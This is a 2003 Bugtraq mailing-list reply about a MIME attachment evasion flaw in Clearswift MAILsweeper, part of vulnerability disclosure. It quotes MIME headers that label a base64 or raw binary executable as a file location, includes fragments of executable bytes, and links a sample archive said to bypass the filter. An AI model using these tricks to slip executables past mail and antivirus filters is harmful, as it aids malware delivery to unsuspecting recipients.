bugtraq - Re: Corsaire Security Advisory - Clearswift MAILsweeper MIME attachme nt evasion issue

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Date: Tue, 11 Mar 2003 19:47:27 -0000
From: "http-equiv@...ite.com" <http-equiv@...ware.com>
To: <bugtraq@...urityfocus.com>
Subject: Re: Corsaire Security Advisory - Clearswift MAILsweeper MIME attachme nt evasion issue

<!-- 

Step 2: Now create a text file that will be used to hold the MIME 
encoded attachment. Start notepad (or another text editor), and 
paste 
in: 

     MIME-Version: 1.0 
     Content-Location:file:///executable.exe 
     Content-Transfer-Encoding: base64 

     TVp0AQIAAAAgAAgA//8YAIAAAAAQAAIAHgAAAAEAAAAAA 
     AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
 -->

That's a very interesting situation with content filters and anti-
virus filters. How many others are affected one must wonder.

Try the following as well, nothing more than pure binary:

http://www.malware.com/bin.exe.zip

MIME-Version: 1.0
Content-Location:File://foo.exe
Content-Transfer-Encoding: binary

MZD.. .   ! ÿÿu  .  ™   >   . û0jr                            y   
ž                                                                    

Lot more where that came from.

End Call

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